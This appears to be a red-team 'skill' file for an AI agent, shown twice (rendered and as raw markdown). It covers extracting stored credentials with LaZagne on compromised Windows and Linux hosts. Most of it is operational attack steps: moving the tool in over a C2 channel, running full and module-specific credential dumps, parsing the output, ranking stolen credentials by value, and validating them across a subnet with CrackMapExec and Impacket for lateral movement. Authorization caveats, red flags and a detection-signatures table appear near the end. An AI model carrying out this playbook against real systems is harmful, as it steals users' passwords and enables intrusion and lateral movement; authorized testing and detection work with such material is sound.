Performing Credential Access with LaZagne
Overview
LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
When to Use
Trigger phrases:
"performing credential access with lazagne"
"Extract stored credentials from compromised endpoints using the LaZagne post-exp"
When conducting security assessments that involve performing credential access with lazagne
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
- Extract credentials from all supported password stores
- Parse and prioritize recovered credentials for lateral movement
- Identify high-value credentials (domain admin, service accounts, cloud access)
- Document credential harvesting results with appropriate evidence handling
- Correlate recovered credentials with BloodHound attack paths
MITRE ATT&CK Mapping
- T1555 - Credentials from Password Stores
- T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 - Credentials from Password Stores: Windows Credential Manager
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1552.002 - Unsecured Credentials: Credentials in Registry
- T1003.004 - OS Credential Dumping: LSA Secrets
- T1539 - Steal Web Session Cookie
Workflow
- Scope and authorize — confirm written authorization and define target boundaries
- Reconnaissance — enumerate targets, services, and potential attack surfaces
- Exploitation — attempt exploitation of identified vulnerabilities within scope
- Post-exploitation — document access level, lateral movement, and data exposure
- Report and remediate — compile findings with reproduction steps and fix recommendations
Phase 1: LaZagne Deployment
- Transfer LaZagne to the compromised host:
# Pre-compiled executable (Windows)
# Transfer lazagne.exe via C2 channel or file upload
# Python version (requires Python on target)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt
- Verify execution capability and privileges:
# Check current user context
whoami /priv
# LaZagne works with standard user privileges for user-level stores
# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
Phase 2: Full Credential Extraction (Windows)
- Run LaZagne with all modules:
# Extract all credentials
lazagne.exe all
# Export results to JSON
lazagne.exe all -oJ
# Export results to specific file
lazagne.exe all -oJ -output C:\Temp\creds
- Run specific modules for targeted extraction:
# Browsers only (Chrome, Firefox, Edge, Opera, IE)
lazagne.exe browsers
# Windows credential stores
lazagne.exe windows
# Database credentials
lazagne.exe databases
# Email client credentials
lazagne.exe mails
# Wi-Fi passwords
lazagne.exe wifi
# Git credentials
lazagne.exe git
# System credentials (requires elevated privileges)
lazagne.exe sysadmin
Phase 3: Credential Extraction (Linux)
- Run LaZagne on Linux targets:
# Full extraction
python3 laZagne.py all
# Browser credentials
python3 laZagne.py browsers
# System credentials (SSH keys, shadow file with root)
python3 laZagne.py sysadmin
# Database credentials
python3 laZagne.py databases
# Git credentials
python3 laZagne.py git
Phase 4: Credential Analysis and Prioritization
- Parse JSON output for unique credentials:
import json
with open("creds.json") as f:
results = json.load(f)
for module in results:
for entry in module.get("results", []):
print(f"Source: {entry.get('Category')}")
print(f" User: {entry.get('Login', 'N/A')}")
print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
- Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation
Phase 5: Credential Validation and Use
- Validate recovered domain credentials:
# Test domain credentials with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
# Test with Impacket
smbclient.py domain.local/user:'password'@10.10.10.1
- Cross-reference with BloodHound paths for high-value targets
- Use recovered credentials for lateral movement or privilege escalation
When NOT to Use
- You don't have explicit written authorization to test
- Task is about defense/detection, not offense (use detection skills)
- You need to implement security controls (use implementing-* skills)
- Task requires compliance auditing (use auditing-* skills)
- You're investigating an incident (use incident response skills)
- Target is out of scope for your engagement
- Task is about vulnerability scanning only (use scanning tools)
Red Flags
- Performing actions without explicit written authorization from the asset owner
- Testing against production systems without a defined scope and rules of engagement
- Exceeding the authorized scope of the engagement
- Leaving persistent access mechanisms without explicit approval
- Causing denial-of-service on production systems during testing
Verification
- All steps executed successfully against a test environment before production use
- Output documented with screenshots or logs demonstrating expected behavior
- All exploited vulnerabilities documented with reproduction steps
- Scope boundaries confirmed — only authorized targets were tested
- Remediation recommendations included for every finding
Tools and Resources
| Tool |
Purpose |
Platform |
| LaZagne |
Multi-source credential extraction |
Windows/Linux/macOS |
| Mimikatz |
LSASS/DPAPI credential dumping |
Windows |
| SharpChrome |
Chrome credential extraction (.NET) |
Windows |
| SharpDPAPI |
DPAPI credential decryption |
Windows |
| CrackMapExec |
Credential validation and spraying |
Linux |
| Impacket |
Remote credential testing |
Linux (Python) |
LaZagne Module Coverage (Windows)
| Category |
Modules |
| Browsers |
Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
| Email |
Outlook, Thunderbird, Foxmail |
| Databases |
PostgreSQL, MySQL, SQLiteDB, Robomongo |
| Sysadmin |
PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
| Windows |
Credential Manager, Vault, DPAPI, Autologon |
| WiFi |
Stored Wi-Fi passwords |
| Git |
Git Credential Store, Git Credential Manager |
| SVN |
TortoiseSVN |
| Chat |
Pidgin, Skype |
Detection Signatures
| Indicator |
Detection Method |
| LaZagne.exe process execution |
EDR process monitoring with hash-based detection |
| Access to Chrome Login Data SQLite DB |
File access monitoring on browser credential stores |
| DPAPI CryptUnprotectData API calls |
API hooking and ETW tracing |
| Access to Windows Credential Manager |
Event 5379 (Credential Manager read) |
| Mass credential store enumeration |
Behavioral analysis for sequential access patterns |
| Python interpreter accessing credential files |
Script block logging and file access auditing |
Validation Criteria
Process
- Analyze the task requirements
- Apply domain expertise
- Verify output quality
Anti-Rationalization Table
| Rationalization |
Reality |
| "We are too small to be targeted" |
Automated attacks target everyone. Size does not matter. |
| "Security slows us down" |
A breach slows you down 100x more. Build security in from the start. |
| "We will fix it after launch" |
Vulnerabilities in production are exploited within hours. Fix before deploy. |
1---2name: performing-credential-access-with-lazagne3description: Use when extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations. Use when working with performing credential access with lazagne.4license: Apache-2.05---67# Performing Credential Access with LaZagne89## Overview1011LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.121314## When to Use15**Trigger phrases:**16- "performing credential access with lazagne"17- "Extract stored credentials from compromised endpoints using the LaZagne post-exp"181920- When conducting security assessments that involve performing credential access with lazagne21- When following incident response procedures for related security events22- When performing scheduled security testing or auditing activities23- When validating security controls through hands-on testing2425## Prerequisites2627- Familiarity with red teaming concepts and tools28- Access to a test or lab environment for safe execution29- Python 3.8+ with required dependencies installed30- Appropriate authorization for any testing activities3132## Objectives3334- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints35- Extract credentials from all supported password stores36- Parse and prioritize recovered credentials for lateral movement37- Identify high-value credentials (domain admin, service accounts, cloud access)38- Document credential harvesting results with appropriate evidence handling39- Correlate recovered credentials with BloodHound attack paths4041## MITRE ATT&CK Mapping4243- **T1555** - Credentials from Password Stores44- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers45- **T1555.004** - Credentials from Password Stores: Windows Credential Manager46- **T1552.001** - Unsecured Credentials: Credentials In Files47- **T1552.002** - Unsecured Credentials: Credentials in Registry48- **T1003.004** - OS Credential Dumping: LSA Secrets49- **T1539** - Steal Web Session Cookie5051## Workflow52531. **Scope and authorize** — confirm written authorization and define target boundaries542. **Reconnaissance** — enumerate targets, services, and potential attack surfaces553. **Exploitation** — attempt exploitation of identified vulnerabilities within scope564. **Post-exploitation** — document access level, lateral movement, and data exposure575. **Report and remediate** — compile findings with reproduction steps and fix recommendations58### Phase 1: LaZagne Deployment591. Transfer LaZagne to the compromised host:60 ```powershell61 # Pre-compiled executable (Windows)62 # Transfer lazagne.exe via C2 channel or file upload6364 # Python version (requires Python on target)65 git clone https://github.com/AlessandroZ/LaZagne.git66 cd LaZagne67 pip install -r requirements.txt68 ```692. Verify execution capability and privileges:70 ```powershell71 # Check current user context72 whoami /priv7374 # LaZagne works with standard user privileges for user-level stores75 # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM76 ```7778### Phase 2: Full Credential Extraction (Windows)791. Run LaZagne with all modules:80 ```powershell81 # Extract all credentials82 lazagne.exe all8384 # Export results to JSON85 lazagne.exe all -oJ8687 # Export results to specific file88 lazagne.exe all -oJ -output C:\Temp\creds89 ```902. Run specific modules for targeted extraction:91 ```powershell92 # Browsers only (Chrome, Firefox, Edge, Opera, IE)93 lazagne.exe browsers9495 # Windows credential stores96 lazagne.exe windows9798 # Database credentials99 lazagne.exe databases100101 # Email client credentials102 lazagne.exe mails103104 # Wi-Fi passwords105 lazagne.exe wifi106107 # Git credentials108 lazagne.exe git109110 # System credentials (requires elevated privileges)111 lazagne.exe sysadmin112 ```113114### Phase 3: Credential Extraction (Linux)1151. Run LaZagne on Linux targets:116 ```bash117 # Full extraction118 python3 laZagne.py all119120 # Browser credentials121 python3 laZagne.py browsers122123 # System credentials (SSH keys, shadow file with root)124 python3 laZagne.py sysadmin125126 # Database credentials127 python3 laZagne.py databases128129 # Git credentials130 python3 laZagne.py git131 ```132133### Phase 4: Credential Analysis and Prioritization1341. Parse JSON output for unique credentials:135 ```136 import json137 with open("creds.json") as f:138 results = json.load(f)139 for module in results:140 for entry in module.get("results", []):141 print(f"Source: {entry.get('Category')}")142 print(f" User: {entry.get('Login', 'N/A')}")143 print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")144 ```1452. Prioritize credentials by value:146 - Domain credentials (AD accounts) for lateral movement147 - Cloud service credentials (AWS, Azure, GCP console)148 - VPN and remote access credentials149 - Database credentials for data access150 - Email credentials for business email compromise151 - Service account credentials for privilege escalation152153### Phase 5: Credential Validation and Use1541. Validate recovered domain credentials:155 ```bash156 # Test domain credentials with CrackMapExec157 crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'158159 # Test with Impacket160 smbclient.py domain.local/user:'password'@10.10.10.1161 ```1622. Cross-reference with BloodHound paths for high-value targets1633. Use recovered credentials for lateral movement or privilege escalation164165## When NOT to Use166167- You don't have explicit written authorization to test168- Task is about defense/detection, not offense (use detection skills)169- You need to implement security controls (use implementing-* skills)170- Task requires compliance auditing (use auditing-* skills)171- You're investigating an incident (use incident response skills)172- Target is out of scope for your engagement173- Task is about vulnerability scanning only (use scanning tools)174175176## Red Flags177178- Performing actions without explicit written authorization from the asset owner179- Testing against production systems without a defined scope and rules of engagement180- Exceeding the authorized scope of the engagement181- Leaving persistent access mechanisms without explicit approval182- Causing denial-of-service on production systems during testing183184## Verification185186- All steps executed successfully against a test environment before production use187- Output documented with screenshots or logs demonstrating expected behavior188- All exploited vulnerabilities documented with reproduction steps189- Scope boundaries confirmed — only authorized targets were tested190- Remediation recommendations included for every finding191192## Tools and Resources193194| Tool | Purpose | Platform |195|------|---------|----------|196| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |197| Mimikatz | LSASS/DPAPI credential dumping | Windows |198| SharpChrome | Chrome credential extraction (.NET) | Windows |199| SharpDPAPI | DPAPI credential decryption | Windows |200| CrackMapExec | Credential validation and spraying | Linux |201| Impacket | Remote credential testing | Linux (Python) |202203## LaZagne Module Coverage (Windows)204205| Category | Modules |206|----------|---------|207| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |208| Email | Outlook, Thunderbird, Foxmail |209| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |210| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |211| Windows | Credential Manager, Vault, DPAPI, Autologon |212| WiFi | Stored Wi-Fi passwords |213| Git | Git Credential Store, Git Credential Manager |214| SVN | TortoiseSVN |215| Chat | Pidgin, Skype |216217## Detection Signatures218219| Indicator | Detection Method |220|-----------|-----------------|221| LaZagne.exe process execution | EDR process monitoring with hash-based detection |222| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |223| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |224| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |225| Mass credential store enumeration | Behavioral analysis for sequential access patterns |226| Python interpreter accessing credential files | Script block logging and file access auditing |227228## Validation Criteria229230- [ ] LaZagne deployed on compromised endpoint231- [ ] Full credential extraction completed (all modules)232- [ ] Credentials exported in JSON format for analysis233- [ ] Recovered credentials parsed and deduplicated234- [ ] High-value credentials identified and prioritized235- [ ] Domain credentials validated against AD236- [ ] Lateral movement opportunities identified from recovered creds237- [ ] Evidence documented with appropriate handling procedures238239## Process2402411. Analyze the task requirements2422. Apply domain expertise2433. Verify output quality244245## Anti-Rationalization Table246247| Rationalization | Reality |248|---|---|249| "We are too small to be targeted" | Automated attacks target everyone. Size does not matter. |250| "Security slows us down" | A breach slows you down 100x more. Build security in from the start. |251| "We will fix it after launch" | Vulnerabilities in production are exploited within hours. Fix before deploy. |